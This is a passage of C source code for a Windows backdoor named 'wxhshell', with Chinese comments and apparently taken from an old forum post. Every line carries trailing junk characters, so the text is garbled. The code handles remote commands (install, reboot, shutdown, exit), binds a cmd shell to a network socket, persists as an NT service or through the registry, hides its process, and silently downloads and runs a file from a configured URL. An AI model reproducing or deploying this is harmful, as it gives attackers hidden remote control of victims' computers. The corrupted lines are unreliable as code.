  vq&u19iP  
  // 帮助 nNJMQb'K  
  case '?': { <>tQa5;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \uT y\KA  
    break; 4Cl41a  
  } O)E8'Oe"Q  
  // 安装 ;mw$(ZKa#  
  case 'i': { _K5R?"H0  
    if(Install()) C+=8?u<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S"wn0B$"  
    else =Pu;wx9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xOAA1#   
    break; &>]c"?C*  
    } ;5(ptXX1W  
  // 卸载 8vL2<VT;  
  case 'r': { 2y0J~P!I  
    if(Uninstall()) ,m)k;co^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !QTfQ69Y0  
    else sKK*{+,kh;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =T0;F0@#4  
    break; ] s))O6^f  
    } l,n V*Z  
  // 显示 wxhshell 所在路径 6~@S,i1  
  case 'p': { fi.[a8w:W  
    char svExeFile[MAX_PATH]; QSxR@hC  
    strcpy(svExeFile,"\n\r"); /\0 rRT  
      strcat(svExeFile,ExeFile); WK<:(vu.  
        send(wsh,svExeFile,strlen(svExeFile),0); 6pCQP c*A  
    break; tin5.N)"z  
    } |)vC^=N{+  
  // 重启 2sryhS'(H  
  case 'b': { iE;D_m.>`O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d@?++z  
    if(Boot(REBOOT)) v.Y?<=E+<d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ~;#OQ[  
    else { RMfKM! vE  
    closesocket(wsh); :4V8Iz 71  
    ExitThread(0); ".Q``d&X  
    } bI_T\Eft  
    break; O ^+H:Y|  
    } yD-L:)@"  
  // 关机 C=&rPUX{  
  case 'd': { k,mgiGrQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c\\'x\J7  
    if(Boot(SHUTDOWN)) BS_ 3|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f0lpwwe  
    else { | pA  
    closesocket(wsh); g$N/pg2>cT  
    ExitThread(0); K_" denzT+  
    } TOe=6 Z5h  
    break; /#C}1emK  
    } dpPu&m+  
  // 获取shell ZHWxU  
  case 's': { PqJB&:ZV  
    CmdShell(wsh); <V~B8C!)  
    closesocket(wsh); oY K(=j  
    ExitThread(0); ~Gz b^  
    break; Uf ?._&:  
  } &I|\AG"X}  
  // 退出 'wg>=|Q5  
  case 'x': { p!OCF]r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); abW[hp  
    CloseIt(wsh); ruKm_j#J  
    break; 8`{)1.d5[  
    } 'kC,pN{->  
  // 离开 N-9Vx#i  
  case 'q': { MN.h,^b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ddr.kXIpo  
    closesocket(wsh); 2.>WR~ \  
    WSACleanup(); Sz_{#-  
    exit(1); 26&$vgO~:  
    break; oE H""Bd  
        } 9[5qN!P;y  
  } jgW-&nK!  
  } vo]!IY  
`;7eu=  
  // 提示信息 6Bop8B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  `u 't  
} ~fV\ X*  
  } ^]cl:m=*  
LrGLIt`  
  return; e` QniTkT  
} @F-InfB8.  
Vx<`6uv  
// shell模块句柄 XB.xIApmy  
int CmdShell(SOCKET sock) WEnI[JGe  
{ {PTB]D'  
STARTUPINFO si; L2,.af6+  
ZeroMemory(&si,sizeof(si)); Ki,SFww8r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3tjF4C>h|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cUH. ^_a  
PROCESS_INFORMATION ProcessInfo; ,'nd~{pX"(  
char cmdline[]="cmd"; 3b d(.he2u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q9h 3/uTv  
  return 0; (qbL=R"  
} !<8-juY  
2d#3LnO  
// 自身启动模式 Q:5^K  
int StartFromService(void) 4!</JZX~$  
{ bih%hqny  
typedef struct +QZ}c@'r  
{ N*w6D:  
  DWORD ExitStatus; nr{#Krkb  
  DWORD PebBaseAddress; @CTSvTt$  
  DWORD AffinityMask; 0ap_tCY  
  DWORD BasePriority; ].Sz2vI  
  ULONG UniqueProcessId; Z0'&@P$  
  ULONG InheritedFromUniqueProcessId; lA/.4"nN  
}   PROCESS_BASIC_INFORMATION; @,:6wKMc  
\`:nmFO(9  
PROCNTQSIP NtQueryInformationProcess; AbExJ~JV\g  
@fc-[pv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \}n\cUy-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g!\H^d4  
P2!+ZJ&  
  HANDLE             hProcess; 28! ke  
  PROCESS_BASIC_INFORMATION pbi; "M !]t,?S  
f'oO/0lx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N8E  
  if(NULL == hInst ) return 0; v:1DNR4  
3-PqUJT$   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CiNOGSlDj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #>ob1b|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  81}JX  
(B^rW,V[R  
  if (!NtQueryInformationProcess) return 0; +7KRoF|  
 ;H4s[#K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !\}X?G f  
  if(!hProcess) return 0; B" 0a5-pkr  
1s_N!a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P U2^4h/[`  
0#S#v2r5  
  CloseHandle(hProcess); _m.w5nJ  
;Zy[2M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q21l{R{Y  
if(hProcess==NULL) return 0; QMhvyzkS  
5<>"d :9  
HMODULE hMod; ^ 7SE2Zi  
char procName[255]; bk=ee7E7>  
unsigned long cbNeeded; >\o._?xSA  
Ab In\,x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kj>!&W57  
sW,JnR  
  CloseHandle(hProcess); h.*v0cq:  
dJjkH6%}  
if(strstr(procName,"services")) return 1; // 以服务启动 M-8`zA2  
KjNA PfL  
  return 0; // 注册表启动 _M) G  
} 2j;9USZ p  
F;L8FL-  
// 主模块 'N3)>!Y:8  
int StartWxhshell(LPSTR lpCmdLine) b]b+PK*h  
{ 2 oo/KndU  
  SOCKET wsl; `tPVNO,l  
BOOL val=TRUE; 6Qk[TL)t  
  int port=0; [Qqomm.[\w  
  struct sockaddr_in door; 6E-AfY'<  
R uGG3"|  
  if(wscfg.ws_autoins) Install(); 3c=>;g  
6]sP"  
port=atoi(lpCmdLine); WS ^,@>A  
(6*  
if(port<=0) port=wscfg.ws_port; yu>o7ie+;Y  
!$hi:3{U ,  
  WSADATA data; NZ"nG<;5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r])V6 ^U  
82M` sk3.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U0;pl2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pft-.1py  
  door.sin_family = AF_INET; 4nrn Npf`b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GO)5R,  
  door.sin_port = htons(port); aD+4uGN  
wJZuJ(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q5G`q&O5  
closesocket(wsl); {e5DQ21.  
return 1; iax0V  
} bd\%K`JQ{  
*M ^ <oG  
  if(listen(wsl,2) == INVALID_SOCKET) { yv|`A2@9  
closesocket(wsl); f_2(`T#  
return 1; `W:z#uNG]  
} ~1&WR`U  
  Wxhshell(wsl); Ew JNpecX  
  WSACleanup(); Za,myuI+  
\ZA@r|=$  
return 0; T& 4f} g/  
j5wfqi  
} b Rc,Y<  
n?778Wo}  
// 以NT服务方式启动 $XI.`L *g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M-Ek(K3SRf  
{ ^I KT!"J&?  
DWORD   status = 0; edo+ o{^  
  DWORD   specificError = 0xfffffff; RGL2S]UFs  
fx-8mf3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z2t\4|wr:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D94bq_2}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BwkY;Ur/AL  
  serviceStatus.dwWin32ExitCode     = 0; K)9Rw2-AJ  
  serviceStatus.dwServiceSpecificExitCode = 0; g4u 6#.m(  
  serviceStatus.dwCheckPoint       = 0; pMJm@f  
  serviceStatus.dwWaitHint       = 0; |BUgsE  
@,j,GE%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S=gb y  
  if (hServiceStatusHandle==0) return; O0FUJGuTS  
wB bCGU  
status = GetLastError(); %!r.) Wx|2  
  if (status!=NO_ERROR) pC]XbokES  
{ Re2&qxE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D4\[D8pD  
    serviceStatus.dwCheckPoint       = 0;  fDloL  
    serviceStatus.dwWaitHint       = 0; 'b0r?A~c=  
    serviceStatus.dwWin32ExitCode     = status; <F8e?xy  
    serviceStatus.dwServiceSpecificExitCode = specificError; Gr4v&Mz:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  o*Xfgc  
    return; 9Z21|5  
  } JA*+F1s  
nEUUD3a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ps;dbY*s6  
  serviceStatus.dwCheckPoint       = 0; \%7fm#z6  
  serviceStatus.dwWaitHint       = 0; Y]7503J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,kf.'N  
} ^|SiqE  
RRXp9{x`  
// 处理NT服务事件,比如:启动、停止 51u\am'T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @dUN3,}  
{ ?;_*8Doq-a  
switch(fdwControl) 1BEs> Sm  
{ '$c9S[  
case SERVICE_CONTROL_STOP: r6nnRN/S=  
  serviceStatus.dwWin32ExitCode = 0; :w -:B^VB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $}.+}'7$  
  serviceStatus.dwCheckPoint   = 0; 1+gFfKq  
  serviceStatus.dwWaitHint     = 0; |;7mDhj=  
  { &=x4M]t9L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;*$e8y2  
  } Jt[,V*:#  
  return; Y!8FW|  
case SERVICE_CONTROL_PAUSE: yIcTc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c6lCF &  
  break; [_nOo`  
case SERVICE_CONTROL_CONTINUE: @TQ/Z$y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O5aXa_A_u  
  break; @gfW*PNjlP  
case SERVICE_CONTROL_INTERROGATE: lKB9n}P  
  break; l^d'8n  
}; i!RfUod  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lm 96:S  
} =@0J:"c  
YVwpqOE.=  
// 标准应用程序主函数 ]'"Sa<->  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 641P)  
{ bU}v@Uk  
l -xc*lC  
// 获取操作系统版本 x1?mE)n]  
OsIsNt=GetOsVer(); _U}vKm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .1q}mw   
hHhDs>tB  
  // 从命令行安装 ,:e~aG,B  
  if(strpbrk(lpCmdLine,"iI")) Install(); J8!2Tt  
p0WUF\"  
  // 下载执行文件 p<{P#?4 g  
if(wscfg.ws_downexe) { M2-`p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SAdE9L =d  
  WinExec(wscfg.ws_filenam,SW_HIDE); bD0l^?Hu!  
} rVqQo` K\  
Q"ZpT  
if(!OsIsNt) { l'/`2Y1  
// 如果时win9x,隐藏进程并且设置为注册表启动 *V%"q|L8  
HideProc(); K6t"98  
StartWxhshell(lpCmdLine); L2,2Sn*4i  
} Z3weFbCH  
else gu!!}pwV9  
  if(StartFromService()) c )LG+K  
  // 以服务方式启动 `hZh}K^  
  StartServiceCtrlDispatcher(DispatchTable); 5E-;4o;RI(  
else M2|!,2  
  // 普通方式启动 H7GI`3o  
  StartWxhshell(lpCmdLine); ZX` \so,&,  
[B# XA}w  
return 0; 9zb1t1[ W  
}
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只看该作者 1 发表于: 2006-10-10
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